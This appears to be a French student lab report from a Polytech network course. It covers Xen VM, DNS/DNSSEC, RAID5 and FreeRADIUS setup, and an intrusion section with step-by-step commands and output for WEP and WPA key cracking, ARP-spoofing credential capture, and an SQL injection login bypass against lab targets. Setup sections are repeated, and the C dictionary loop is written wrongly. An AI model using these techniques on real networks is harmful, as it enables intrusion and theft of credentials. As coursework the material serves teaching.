J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5.

kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '1024'

root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
]

name = 'hawker'

'''vif = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''

on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

J'accède à ma machine virtuelle
xl create /etc/xen/hawker.cfg
xl console hawker

Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte
lvcreate -L10G -n hawker-var virtual
lvcreate -L10G -n hawker-home virtual

Je pointe le système de fichier sur les deux nouvelles partitions
mke2fs /dev/virtual/hawker-home
mke2fs /dev/virtual/hawker-var

Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.

disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
''''phy:/dev/virtual/hawker-home,xvdb1,w','''
''''phy:/dev/virtual/hawker-var,xvdb2,w','''
]

Puis je redémarre la VM pour prendre en compte les modifications
xl shutdown hawker
xl create /etc/xen/hawker.cfg

A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.
/dev/xvdb1 /home ext4 defaults 0 2 //0 sauvegarde et 2 place
#/dev/xvdb2 /var ext4 defaults 0 2
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.
mkfs -t ext4 /dev/xvdb2
mount /dev/xvdb2 /mnt
mv /var/* /mnt
blkid //Trouver ou afficher les attributs de périphérique bloc
/dev/xvda2: UUID="efa11821-8780-4938-9473-5d217752316e" TYPE="ext4"
/dev/xvda1: UUID="1a3161b3-a90d-4da5-a224-cfc496e70c89" TYPE="swap"
/dev/xvdb1: UUID="5645526d-2cf4-42b5-a4a7-94fdda100ca1" TYPE="ext4"
/dev/xvdb2: UUID="5b49ce5f-8116-4c41-aa25-97536f644803" TYPE="ext4"
vi /etc/fstab
Par la suite, je peux décommenter la ligne et exécuter :
umount /mnt
mount -a
Je vérifie que les disques sont bien montés via la commande db
Filesystem 1K-blocks Used Available Use% Mounted on
udev 483904 0 483904 0% /dev
tmpfs 100712 120 100592 1% /run
/dev/xvda2 4062912 791352 3045464 21% /
tmpfs 5120 0 5120 0% /run/lock
tmpfs 306280 0 306280 0% /dev/shm
'''/dev/xvdb1 10255636 36872 9678092 1% /home'''
'''/dev/xvdb2 10255636 315536 9399428 4% /var'''

On peut vérifier que la VM est prête
xl list
Name ID Mem VCPUs State Time(s)
Domain-0 0 4046 4 r----- 6978.3
boeing 1 256 1 -b---- 185.5
NightHawk 3 1024 1 -b---- 826.8
'''hawker 4 1024 1 -b---- 776.9'''
blackbird 5 256 1 -b---- 640.4
Falcon 6 256 1 -b---- 691.7
rafale 8 256 1 -b---- 606.0
mirage 12 1024 1 -b---- 668.6
alpha-jet 13 256 1 -b---- 591.4
concorde 19 1024 1 -b---- 148.5
oronge 20 256 1 -b---- 536.2
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne.
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.

== Services Internet ==

=== Configuration du réseau ===

Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces
auto eth0
iface eth0 inet static
address 193.48.57.171
netmask 255.255.255.240
gateway 193.48.57.163

Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus
ifdown eth0
ifup eth0

Je vérifie que le processus s'est bien déroulé
ip r
default via 193.48.57.163 dev eth0 onlink
193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171
ping 193.48.57.162 (Adresse IP 3560E)

=== Serveur SSH ===
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :
vi /etc/ssh/sshd_config
PermitRootLogin yes // Permet l'accès direct en root
service ssh restart
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.
ssh root@193.48.57.171

=== Serveur DNS ===

Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.

Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.

Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre.
ns.lulya.space
193.48.57.171

Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.
ns.lulya.space 1
ns6.gandi.net 2
Pour le prise en compte ces modifications, on attend de 12 à 24h.

Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.
Le fichier named.conf.options qui gère les options de configuration du DNS :
options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32; //Adresse IP de dns6.gandi.net
};

Puis le fichier named.conf.local pour déclarer les zones associées au domaine:
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space";
};

Enfin, le fichier de configuration /etc/bind/db.lulya.space :
$TTL 3600
@ IN SOA ns.lulya.space. postmaster.lulya.space. (
1 ; Version
1800 ; Refresh (30m)
600 ; Retry (10m)
3600 ; Expire (1h)
3600 ) ; Minimum TTL (1h)
@ IN NS ns.lulya.space.
@ IN NS ns6.gandi.net.
ns IN A 192.48.57.171

J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.

Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.

=== Sécurisation de site web par certificat ===

Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.

Je modifie mon fichier db.lulya.space
Version : 2
IN MX 100 ns
www IN A 193.48.57.171

Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise.

Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat
openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr

J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier.

En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage
apt install strace
strace -f -o open newaliases
strace -f newaliases

=== Sécurisation de serveur DNS par DNSSEC ===

Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.

Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.
La clé asymétrique de signature de clefs de zone
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space
La clé asymétrique de zone pour les enregistrements
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space

Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe :

- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK

- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée
mv Klulya.space.+005+11461.key lulya.space-ksk.key
mv Klulya.space.+005+11461.private lulya.space-ksk.private
mv Klulya.space.+005+27882.key lulya.space-zsk.key
mv Klulya.space.+005+27882.private lulya.space-zsk.private
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec

Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space
$include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key
$include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key

Je signe les enregistrements
dnssec-signzone -o lulya.space -k lulya.space-ksk ../db.lulya.space lulya.space-zsk

Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space.signed";
};

Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.

[[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]
 

== Tests d'intrusion ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.

Je dois trouver le point d’accès : canal et nom des réseaux.

Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau.

Dans notre cas, la carte Wi-fi se place en observateur du réseau.

Je liste les interfaces disponibles :
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlx40a5efd2140c rt2800usb Ralink Technology, Corp. RT5370

Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.

root@zabeth09:~# airmon-ng start wlx40a5efd2140c
Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.
(mac80211 monitor mode vif enabled on [phy0]wlan0mon
(mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)

Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.

En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlan0mon rt2800usb Ralink Technology, Corp. RT5370

Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux
root@zabeth09:~# airmon-ng –encrypt wep wlan0mon

Le terminal essaye d'obtenir tous les channels et beaucoup d'informations s'affichent.

Je visualise cracotte07 dans la liste pour ses informations.
root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon
Tous les cracotte sont limitées au channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56

Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.
airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon

Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP
root@zabeth09:~# aircrack-ng lcrack-01.cap
Opening lcrack-01.capse wait…

Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.

Aircrack-ng 1.5.2
[00:00:00] Tested 833 keys (got 73079 IVs)
KB depth byte(vote)
0 0/ 17 F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176)
1 0/ 1 91(103680) 34(83968) 54(83456) B3(83456) B9(82432)
2 2/ 2 60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664)
3 15/ 3 B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104)
4 0/ 1 74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664)
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ]
Decrypted correctly: 100%

=== Cassage de mot de passe WPA-PSK par force brute ===
En utilisant la même méthode, on peut craquer une autre clef WPA.
root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon
-rw-r--r-- 1 root root 88K Nov 4 17:11 lkrack-03.cap

Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.

int main(void){
int x;
for(x=0; x=99999999; x++){
printf("%08d\n",x);
}
}

Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico.
root@zabeth09:~# gcc -Wall -o dico main.c

Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.
root@zabeth09:~# ./dico | more
00000000
00000001
00000002
00000003
00000004
root@zabeth09:~# ./dico | tail
99999995
99999996
99999997
99999998
99999999

Je finis par les transférer dans un fichier .txt et l'envoie d'autre PC
root@zabeth09:~# ./dico > dico.txt
root@zabeth09:~# scp dico.txt zabethxx

Je choisis de lancer le traitement sur 2 PC plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon PC zabeth09.
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap > /tmp/result

En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.
root@zabeth09:~# split -n 2 dico.txt
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico
root@zabeth09:~# ls -lhrt
-rw-r--r-- 1 root root 101 Nov 4 17:09 main.c
-rwxr-xr-x 1 root root 17K Nov 4 17:09 dico
-rw-r--r-- 1 root root 430M Nov 4 17:15 xaa
-rw-r--r-- 1 root root 430M Nov 4 17:15 xab
En tapant la commande tail, je vérifie que celui que je veux est bien xab

Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22
root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap > /tmp/result

Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)
root@zabeth22:~# cat /tmp/result
Aircrack-ng 1.5.2
[00:09:13] 10260165/102795810 keys tested (3427.05 k/s)
Time left: 7 hours, 30 minutes, 1 second 9.98%
KEY FOUND! [ 10255555 ]

La clé se trouvait dans les 1er 10 % de dico.
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.
Il est logique que celui-ci nous donne aucune clé en réponse.

root@zabeth26:~# cat /tmp/result
[00:46:05] 50000000/51397904 keys tested (3498.19 k/s)
Time left: 0 seconds 97.28%
KEY NOT FOUND
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.

=== Attaque de type "homme au milieu" par usurpation ARP ===

J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :

- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées

- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local

- dsniff : écoute de mots de passe pour différents protocoles

Je vérifie d’abord que dorade est bien configuré au niveau du réseau.
root@dorade:/home/pifou# cat /etc/network/interfaces
# This is an autoconfigured IPv6 interface
iface eth0 inet static
address 172.26.145.101
netmask 255.255.255.0
gateway 172.26.145.254

Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires
root@dorade:/home/pifou# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000

Une commande permet de voir la table de routage.
root@dorade:/home/pifou# ip r
default via 172.26.145.254 dev eth0 onlink
169.254.0.0/16 dev eth0 scope link metric 1000
172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101

Je vérifie qu’il est bien relié au réseau en pingant zabeth09.
root@dorade:/home/pifou# ping zabeth09
PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms
--- zabeth09 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms

En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.

Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.

- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.

- La commande retourne la valeur 1 : l'IP Forwarding est activé.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 0
Dorade n’est pas en mode routeur, je passe alors le noyau à 1
root@dorade:/home/pifou# echo 1 > /proc/sys/net/ipv4/ip_forward

J'utilise la commande arpsppof, en prenant les informations collectées au début.
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.
root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1

Lors de cette étape toujours en cours, je lance un second terminal.
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 1
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter 0
root@dorade:/home/pifou# wireshark
[[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]
 
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr

=== Intrusion sur un serveur d’application Web ===

Je veux m'introduire sur un site de Polytech honey.plil.info.
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.
SELECT id FROM users WHERE id='$id' AND pass='$pass';
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='

Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='

J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]
 

== Réalisation ==

=== Sécurisation de données ===

Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.

Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.

Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions.

Je commence par créer les 3 partitions LVM de 1Go
lvcreate -l1G -n hawker-raid1 storage
lvcreate -l1G -n hawker-raid storage
lvcreate -l1G -n hawker-raid3 storage

Je visualise les disques créés via la commande
vgdisplay
Il existe 3 types de volumes différents : storage, virtual et system.

Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :
disk= [ ...
'phy:/dev/virtual/hawker-raid1,xvdc1,w',
'phy:/dev/virtual/hawker-raid2,xvdc2,w',
'phy:/dev/virtual/hawker-raid3,xvdc3,w',
]

Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.

Je met en place le disque niveau 5 (RAID5) avec les 3 partitions
mdadm --create /dev/md0 --level=5 --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.
mkfs /dev/md0
mount /dev/md0 /mnt
cat /proc/mdstat

Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage
/dev/md0 /raid5 ext2 defaults 0 2

Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées.

1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.

2ème essai : Je simule la perte du disque 2
cp -a /usr/bin /mnt //Copie de données
dd if=/dev/zero of=toto bs=1024k count=100 //Copier partie ou tout d'un disque

mdadm --set-faulty /dev/md0 /dev/xvdc2 //Perte du fichier disque 2
cat /proc/mdstat //On voit qu'on a plus de partitions
ls -R /mnt //Vérifier qu'on a gardé les fichiers
umount /mnt //Démonter le système de fichier

mdadm --remove /dev/md0 /dev/xvdc2 //Je replace la partitions 2
mdadm --add /dev/md0 /dev/xvdc2
cat /proc/mdstat //On voit qu'il met quelques temps à le récupérer

Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.

Je considère la sécurisation de mes données de VM atteinte.

=== Sécurisation WiFi par WPA2-EAP ===

==== Configuration serveur FreeRadius ====

L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.

Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.

Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.
apt update
apt install freeradius

Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users
pifou Cleartext-Password := "glopglop"

/etc/freeradius/3.0/mods-enabled/eap
eap{
default_eap_type = peap
}

/etc/freeradius/3.0//mods-enabled/mschap
//Décommenter et vérifier
use_mppe = yes
require_encryption = yes
require_strong = yes
//Ajouter
with_ntdomain_hack = yes

Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:
client access-point { /Nom du client
ipaddr = 10.60.0.100 //Adress IP de la borne
secret = glopglop //Mot secret saisi lors de la configuration
}

Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.
service freeradius stop
ps auxwww | grep free
root 18316 0.0 0.0 3084 888 pts/0 S+ 22:49 0:00 grep free
kill 10659
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions
freeradius -X

==== Configuration des points d'accès WiFi ====

Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.

J'accède à la configuration de la borne WiFi
minicom -os
port : /dev/ttyUSB2
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#

Je passe en mode privilégié et en mode configuration
ap#enable
ap#config term

On met la commande suivante pour :

authentification : vérifier l'identité de l'utilisateur

authorization : pouvoir limiter l'accès à certaines fonctionnalités

accounting : pouvoir enregistrer les actions de l'utilisateur

ap(config)#aaa new-model

Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius
ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop

Définition du groupe de serveur
ap(config)#aaa group server radius radius_lulya

Association du groupe de serveur et du serveur de la VM
ap(config)#server 193.48.57.171 auth-port 1812 acct-port 1813

Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier
ap(config)#aaa authentication login eap_lulya group radius_lulya

Définition du SSID protégé par la méthode WPA2-EAP
ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya
ap(config-ssid)#vlan 10
ap(config-ssid)#authentication open eap eap_lulya
ap(config-ssid)#authentication network-eap eap_lulya
ap(config-ssid)#authentication key-management wpa

Configuration du Vlan
ap(config)#interface Dot11Radio0
ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip
ap(config-if)#ssid SSID_lulya

Création de sous interfaces
ap(config)#interface dot11Radio0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

ap(config)#interface fast0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

Ajout SSID dans l'interface Dot11Radio0
ap(config-subif)#interface Dot11Radio0
ap(config-if)#dot11 ssid SSID_lulya

Rendre le SSID visible
ap(config-ssid)#interface Dot11Radio0
ap(config-if)#mbssid
ap(config-if)#dot11 ssid SSID_lulya
ap(config-ssid)#mbssid guest-mode

Je quitte tout en utilisant <code>exit</code>, puis faire un <code>write</code> pour prendre en compte toutes les configurations, pour finir je <code>reload</code>
ap(config)#write
Building configuration...
[OK]

TP sysres IMA2a5 2020/2021 G7

2020-12-15T14:12:04Z

Lchenu : /* Cassage de clef WEP d’un point d’accès WiFi */

== Partie commune ==
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)

L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.

== Installation de la machine virtuelle Xen ==

=== Création de la VM ===
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh
ssh root@capbreton.plil.info

Nom de ma machine : hawker

Adresse IP de la machine : 193.48.57.171

Adresse du routeur : 193.48.57.163

Le répertoire des disques virtuels : /usr/local/xen

xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.
xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf

J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker

Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/

La distribution stable courant : http://proxy.polytech-lille.fr:3128

xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force

En lançant un second terminal, je peux suivre le processus d’installation
tail -f /var/log/xen-tools/hawker.log

Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.

Installation Summary
---------------------
Hostname : hawker
Distribution : ascii
MAC Address : 00:16:3E:A4:65:07
IP Address(es) : dynamic
SSH Fingerprint : SHA256:xxxxxxx (DSA)
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)
SSH Fingerprint : SHA256:xxxxxxx (ED25519)
SSH Fingerprint : SHA256:xxxxxxx (RSA)
Root Password : xxxxxxxxxxxxxxxxxxxxxxxx

Via la commande passwd, j'ai changé le mot de passe par "glopglop"

=== Configuration de la VM ===

Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.
Je récupère le nom du bridge "IMA2a5"
brctl show
bridge name bridge id STP enabled interfaces
'''IMA2a5 8000.34800d508a83 no ether1'''
IMA5sc 8000.34800d508a82 no ether0
L3MRIT 8000.b026289b2c9a no ether2
Trunk 8000.4cd98fa49258 no ether4
bridgeGIS 8000.4cd98fa49258 no vlan502

J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5.

kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '1024'

root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
]

name = 'hawker'

'''vif = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''

on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

J'accède à ma machine virtuelle
xl create /etc/xen/hawker.cfg
xl console hawker

Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte
lvcreate -L10G -n hawker-var virtual
lvcreate -L10G -n hawker-home virtual

Je pointe le système de fichier sur les deux nouvelles partitions
mke2fs /dev/virtual/hawker-home
mke2fs /dev/virtual/hawker-var

Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.

disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
''''phy:/dev/virtual/hawker-home,xvdb1,w','''
''''phy:/dev/virtual/hawker-var,xvdb2,w','''
]

Puis je redémarre la VM pour prendre en compte les modifications
xl shutdown hawker
xl create /etc/xen/hawker.cfg

A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.
/dev/xvdb1 /home ext4 defaults 0 2 //0 sauvegarde et 2 place
#/dev/xvdb2 /var ext4 defaults 0 2
